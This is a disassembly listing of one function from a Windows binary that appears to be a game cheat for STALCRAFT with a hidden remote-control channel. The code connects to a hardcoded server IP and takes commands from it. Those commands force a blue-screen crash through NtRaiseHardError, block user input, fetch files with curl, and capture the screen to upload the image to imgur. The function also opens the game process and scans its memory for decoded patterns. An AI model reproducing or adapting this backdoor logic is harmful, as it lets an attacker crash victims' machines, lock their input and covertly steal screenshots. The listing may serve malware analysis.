Function at 0x140003220
Capabilities:
Connect socket
Create thread
Execute command
Get common file path
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1440]
mov eax, 0x1540
call fcn.1400088e0
sub rsp, rax
mov rax, qword [0x14000e010]
xor rax, rsp
mov qword [rbp + 0x1430], rax
xor r14d, r14d
mov dword [rbp + 0x20], r14d
mov ecx, 0x202
lea rdx, [rbp + 0x180]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1400032a0
lea rdx, str.Failed_to_initialize_Winsock
mov rcx, qword [0x140009170]
call fcn.140006540
lea rdx, [0x140006710]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400032e6
xor r8d, r8d
lea edx, [r8 + 1]
mov ebx, 2
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x14000331b
lea rdx, str.Failed_to_create_socket
mov rcx, qword [0x140009170]
call fcn.140006540
lea rdx, [0x140006710]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rcx, qword [rbp + 0x1430]
xor rcx, rsp
call fcn.140007a70
lea r11, [rsp + 0x1540]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rbp + 0x38], r14
mov word [rbp + 0x30], bx
mov ecx, 0x4d3
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x32], ax
lea rcx, str.185.204.109.14
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x34], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x30]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400033ae
lea rdx, str.Failed_to_connect_to_server
mov rcx, qword [0x140009170]
call fcn.140006540
lea rdx, [0x140006710]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Failed
lea rdx, str.Check_your_internet_connection_
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1400032e0
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
lea r15, [0x140009d40]
mov qword [rbp + 0x60], r15
lea rax, [0x140009c58]
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0xf8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rbp + 0x20], 0x40
xor r8d, r8d
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x60], rsi
mov rax, qword [rbp + 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x5c], edx
lea rcx, [rbp + 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x78], rax
mov qword [rbp + 0xe0], r14
mov dword [rbp + 0xe8], r14d
lea rdx, str.rwid_
lea rcx, [rbp + 0x70]
call fcn.140006540
mov rbx, rax
lea rcx, [rbp + 0x40]
call fcn.1400012b0
nop
cmp qword [rax + 0x18], 0x10
jb 0x14000346c
mov rax, qword [rax]
mov rdx, rax
mov rcx, rbx
call fcn.140006540
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x1400034b7
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400034b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007a90
nop
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov ecx, recv
mov qword [rbp + 0x10], rcx
mov byte [rbp - 8], 0
mov dword [rbp + 0x20], 0x60
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
mov edx, dword [rbp + 0xe8]
mov eax, edx
and al, 0x22
cmp al, 2
je 0x140003520
mov rax, qword [rbp + 0xb8]
mov r8, qword [rax]
test r8, r8
je 0x140003520
mov rax, qword [rbp + 0x98]
mov rdx, qword [rax]
mov qword [rsp + 0x58], r8
cmp r8, qword [rbp + 0xe0]
cmovb r8, qword [rbp + 0xe0]
sub r8, rdx
jmp 0x140003558
test dl, 4
jne 0x140003550
mov rax, qword [rbp + 0xb0]
mov r9, qword [rax]
test r9, r9
je 0x140003550
mov rax, qword [rbp + 0x90]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xc8]
movsxd r8, dword [rax]
add r8, r9
sub r8, rdx
jmp 0x140003558
mov r8, qword [rbp - 0x68]
mov rdx, qword [rbp - 0x70]
test rdx, rdx
je 0x14000356a
lea rcx, [rbp - 8]
call fcn.1400063c0
mov rcx, qword [rbp + 0x10]
mov edi, 0x50
mov dword [rsp + 0x50], edi
lea rdx, [rbp - 8]
mov r12, 0xffffffffffffffff
mov rax, r12
cmp rcx, 0x10
jb 0x1400035a0
mov rdx, qword [rbp - 8]
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140003590
jmp 0x1400035ad
inc rax
cmp byte [rdx + rax], 0
jne 0x1400035a0
lea rdx, [rbp - 8]
xor r9d, r9d
mov r8d, eax
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400035ca
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
lea rbx, [0x140001b80]
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x430]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rbp + 0x430]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
jne 0x14000360c
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
movzx eax, byte [rbp + 0x430]
cmp al, 0x61
jne 0x14000373f
cmp byte [rbp + 0x431], 0x6c
jne 0x140003fe5
cmp byte [rbp + 0x432], 0x6c
jne 0x140003fe5
cmp byte [rbp + 0x433], 0x6f
jne 0x140003fe5
cmp byte [rbp + 0x434], 0x77
jne 0x140003fe5
mov edx, 0x258
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0xc8
mov ecx, 0x2ee
call qword [sym.imp.KERNEL32.dll_Beep]
mov edx, 0x15e
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Beep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rax
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
lea r8d, [rax + 1]
lea rdx, [0x140009a08]
lea rcx, [rbp - 0x28]
call fcn.1400069f0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], r14
lea rax, [rbp + 0x430]
inc r12
cmp byte [rax + r12], 0
jne 0x1400036c6
mov r8, r12
lea rdx, [rbp + 0x430]
lea rcx, [rsp + 0x60]
call fcn.1400069f0
nop
lea r8, [rbp - 0x28]
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x70]
call fcn.140002340
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x1400040f9
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400040f4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
cmp al, 0x62
jne 0x1400037f0
cmp byte [rbp + 0x431], 0x73
jne 0x140003fe5
cmp byte [rbp + 0x432], 0x6f
jne 0x140003fe5
cmp byte [rbp + 0x433], 0x64
jne 0x140003fe5
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.RtlAdjustPrivilege
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtRaiseHardError
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
lea r9, [rbp - 0x50]
xor r8d, r8d
mov dl, 1
lea ecx, [r8 + 0x13]
call rbx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc00002b4
call rdi
movzx eax, byte [rbp + 0x430]
mov edi, dword [rsp + 0x50]
lea rbx, [0x140001b80]
cmp al, 0x73
jne 0x140003826
movzx eax, byte [rbp + 0x431]
cmp al, 0x73
jne 0x1400038ed
mov byte [0x14000ea88], 1
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.explorer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, byte [rbp + 0x430]
cmp al, 0x70
jne 0x1400038de
cmp byte [rbp + 0x431], 0x69
jne 0x140003fe5
cmp byte [rbp + 0x432], 0x7a
jne 0x140003fe5
cmp byte [rbp + 0x433], 0x64
jne 0x140003fe5
cmp byte [rbp + 0x434], 0x61
jne 0x140003fe5
mov ecx, 8
call fcn.140007a98
mov qword [rax], rbx
mov qword [rbp + 0x20], rax
bts edi, 7
mov dword [rsp + 0x50], edi
lea rcx, [rbp - 0x78]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r14d
mov r9, rax
lea r8, [0x140007990]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x80], rax
test rax, rax
je 0x1400048f9
cmp dword [rbp - 0x78], 0
je 0x1400048ed
movaps xmm0, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x1400048e4
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x80], xmm0
movzx eax, byte [rbp + 0x430]
cmp al, 0x73
jne 0x140003fe5
movzx eax, byte [rbp + 0x431]
cmp al, 0x69
jne 0x140003b0f
lea rcx, str.curl__o_skibidi.mp3_https:__www.myinstants.com_media_sounds_skibidi_toilet.mp3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x60]
call fcn.140001960
nop
mov r8d, recv
lea rdx, str._skibidi.mp3
mov rcx, rax
call fcn.140005c60
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], recv
mov byte [rax], 0
or edi, 1
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14000399a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003995
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004909
call fcn.140007a90
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], recv
mov byte [rsp + 0x60], 0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x320]
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x320], r15
lea rax, [0x140009c58]
mov qword [rbp + 0x330], rax
lea rcx, [rbp + 0x3b8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
or edi, 2
mov dword [rsp + 0x50], edi
mov dword [rbp + 0x20], edi
xor r8d, r8d
lea rdx, [rbp + 0x338]
lea rcx, [rbp + 0x320]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x320], rsi
mov rax, qword [rbp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x31c], edx
lea rcx, [rbp + 0x338]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + 0x338], rax
mov qword [rbp + 0x3a0], r14
mov dword [rbp + 0x3a8], r14d
mov rax, qword [rbp + 0x320]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x320], rsi
mov rax, qword [rbp + 0x320]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx + 0x31c], edx
lea rcx, [rbp + 0x338]
call fcn.140005ba0
lea rcx, [rbp + 0x340]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x3b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140003afb
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003af6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004910
call fcn.140007a90
cmp byte [rbp + 0x430], 0x73
jne 0x140003fe5
movzx eax, byte [rbp + 0x431]
cmp al, 0x6a
jne 0x140003fd4
cmp byte [rbp + 0x432], 0x72
jne 0x140003fe5
lea rdx, [rbp + 0x320]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp - 0x48]
call fcn.140002140
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], r14
lea rax, [rbp + 0x320]
mov r8, r12
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003b60
lea rdx, [rbp + 0x320]
lea rcx, [rbp - 0x28]
call fcn.1400069f0
nop
mov r9, rbx
lea r8, [rbp - 0x28]
lea rcx, [rsp + 0x60]
call fcn.140006d00
or edi, 8
mov r8d, 4
lea rdx, str..bmp
lea rcx, [rsp + 0x60]
call fcn.140005c60
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], recv
mov byte [rax], 0
or edi, 4
mov dword [rsp + 0x50], edi
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x140003c17
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004917
call fcn.140007a90
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], recv
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140003c66
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c60
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000491e
call fcn.140007a90
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x140003ca1
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c9c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004925
call fcn.140007a90
mov qword [rbp - 0x38], r14
mov qword [rbp - 0x30], recv
mov byte [rbp - 0x48], 0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov r15, rax
mov rcx, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov r14, rax
mov edx, 8
mov rcx, r15
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov esi, eax
mov edx, 0xa
mov rcx, r15
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edi, eax
mov r8d, eax
mov edx, esi
mov rcx, r15
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov rbx, rax
mov dword [rsp + 0x40], 0xcc0020
xor eax, eax
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], edi
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, r14
call qword [sym.imp.GDI32.dll_BitBlt]
mov rdx, rbx
mov rcx, r14
call qword [sym.imp.GDI32.dll_SelectObject]
mov rbx, rax
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rcx, r15
call qword [sym.imp.GDI32.dll_DeleteDC]
lea rdx, [rbp - 0x70]
mov rcx, rbx
call fcn.140002650
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0x10
cmovae rcx, qword [rbp - 0x70]
lea rdx, [0x140009b58]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140003f86
xor edx, edx
lea r8d, [rdx + 2]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd r14, eax
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, r14
call fcn.140007ad4
mov rsi, rax
mov r9, rdi
mov r8, r14
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, r14
jne 0x140003f75
push rsi
call 0x1401cca1f
mov rbx, rax
test rax, rax
je 0x140003f86
lea r8, str.https:__api.imgur.com_3_image
mov edx, 0x2712
mov rcx, rax
call 0x140358807
int3
mov rcx, rsi
call fcn.140007a90
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor r14d, r14d
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140003fc4
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fbf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004933
call fcn.140007a90
cmp byte [rbp + 0x430], 0x73
jne 0x140003fe5
movzx eax, byte [rbp + 0x431]
cmp al, 0x74
jne 0x140003fe5
cmp byte [rbp + 0x432], 0x70
je 0x14000493a
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], r14
lea rax, [rbp + 0x430]
mov r8, r12
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140004000
lea rdx, [rbp + 0x430]
lea rcx, [rbp - 0x70]
call fcn.1400069f0
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x40]
call fcn.140002b00
lea rcx, [rbp + 0x40]
mov r8, qword [rbp + 0x40]
mov r9, qword [rbp + 0x58]
cmp r9, 0x10
cmovae rcx, r8
mov rax, r12
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140004040
lea rdx, [rbp + 0x40]
cmp r9, 0x10
cmovae rdx, r8
xor r9d, r9d
mov r8d, eax
mov rcx, r13
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x140004085
mov rcx, r13
call qword [sym.imp.WS2_32.dll_closesocket]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x30]
mov rcx, r13
call qword [sym.imp.WS2_32.dll_connect]
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
mov edi, dword [rsp + 0x50]
lea rbx, [0x140001b80]
lea rsi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea r15, [0x140009d40]
jb 0x1400035d1
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400040d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004943
call fcn.140007a90
mov edi, dword [rsp + 0x50]
lea rsi, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
lea r15, [0x140009d40]
jmp 0x1400035ca
call fcn.140007a90
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], recv
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14000414a
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004145
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004145
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007a90
lea rdx, str.Logged_in_as
mov rcx, qword [0x140009150]
call fcn.140006540
mov rdx, qword [rbp - 0x70]
add rdx, 0x20
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x140004173
mov rdx, qword [rdx]
mov rcx, rax
call fcn.140006ef0
lea rdx, [0x140009a1c]
mov rcx, rax
call fcn.140006540
mov rdx, qword [rbp - 0x70]
add rdx, 0x40
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0x10
jb 0x1400041a0
mov rdx, qword [rdx]
mov rcx, rax
call fcn.140006ef0
mov rcx, rax
lea rdx, str._days_left_n
call fcn.140006540
lea rcx, [rbp + 0x160]
call fcn.1400012b0
nop
lea rdx, str.STALCRAFT
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0x20]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp byte [0x14000ea89], 0
jne 0x1400047cc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rax
movdqa xmm1, xmmword [0x140009d70]
movdqu xmmword [rbp - 0x48], xmm1
mov byte [rbp - 0x38], al
mov ecx, r14d
mov rdx, r14
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x10]
xor byte [rbp + rdx - 0x48], al
inc ecx
movsxd rdx, ecx
cmp rdx, 0x10
jb 0x140004230
mov byte [rbp - 0x38], 0
mov qword [rsp + 0x28], rbx
lea r8, str.xxxxxxxxxxxxxxxx
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.140001620
nop
lea rdx, str.Found
mov rcx, qword [0x140009150]
call fcn.140006540
mov rdx, qword [rbp - 0x20]
sub rdx, qword [rbp - 0x28]
sar rdx, 3
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._addresses_at_addresses_20000F64
call fcn.140006540
lea rdx, [0x140006710]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x28]
sub rax, rcx
sar rax, 3
test rax, rax
jne 0x140004743
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rax
mov dword [rsp + 0x58], 0x73191130
mov dword [rsp + 0x5c], 0xa8185
mov ecx, r14d
mov rdx, r14
lea eax, [rcx + 0x10]
xor byte [rsp + rdx + 0x58], al
inc ecx
movsxd rdx, ecx
cmp rdx, 7
jb 0x1400042e0
mov byte [rsp + 0x5f], 0
mov qword [rsp + 0x28], rbx
lea r8, str.xxxxxxx
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x48]
call fcn.140001620
nop
lea rdx, str.Found
mov rcx, qword [0x140009150]
call fcn.140006540
mov rdx, qword [rbp - 0x40]
sub rdx, qword [rbp - 0x48]
sar rdx, 3
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, str._addresses_at_gitler_2000941C
call fcn.140006540
lea rdx, [0x140006710]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x48]
sub rax, rcx
sar rax, 3
test rax, rax
jne 0x14000465e
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
mov dword [rbp - 0x80], 0x73191130
mov dword [rbp - 0x7c], 0xa10a8185
mov dword [rbp - 0x78], 0xf7d0b
mov eax, r14d
mov rdx, r14
nop dword [rax]
lea ecx, [rax + 0x10]
xor byte [rbp + rdx - 0x80], cl
inc eax
movsxd rdx, eax
cmp rdx, 0xb
jb 0x1400043a0
mov byte [rbp - 0x75], 0
mov qword [rsp + 0x28], rbx
lea r8, str.xxxxxxx
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x60]
call fcn.140001620
nop
lea rdx, str.Found
mov rcx, qword [0x140009150]
call fcn.140006540
mov rdx, qword [rsp + 0x68]
sub rdx, qword [rsp + 0x60]
sar rdx, 3
mov rcx, rax
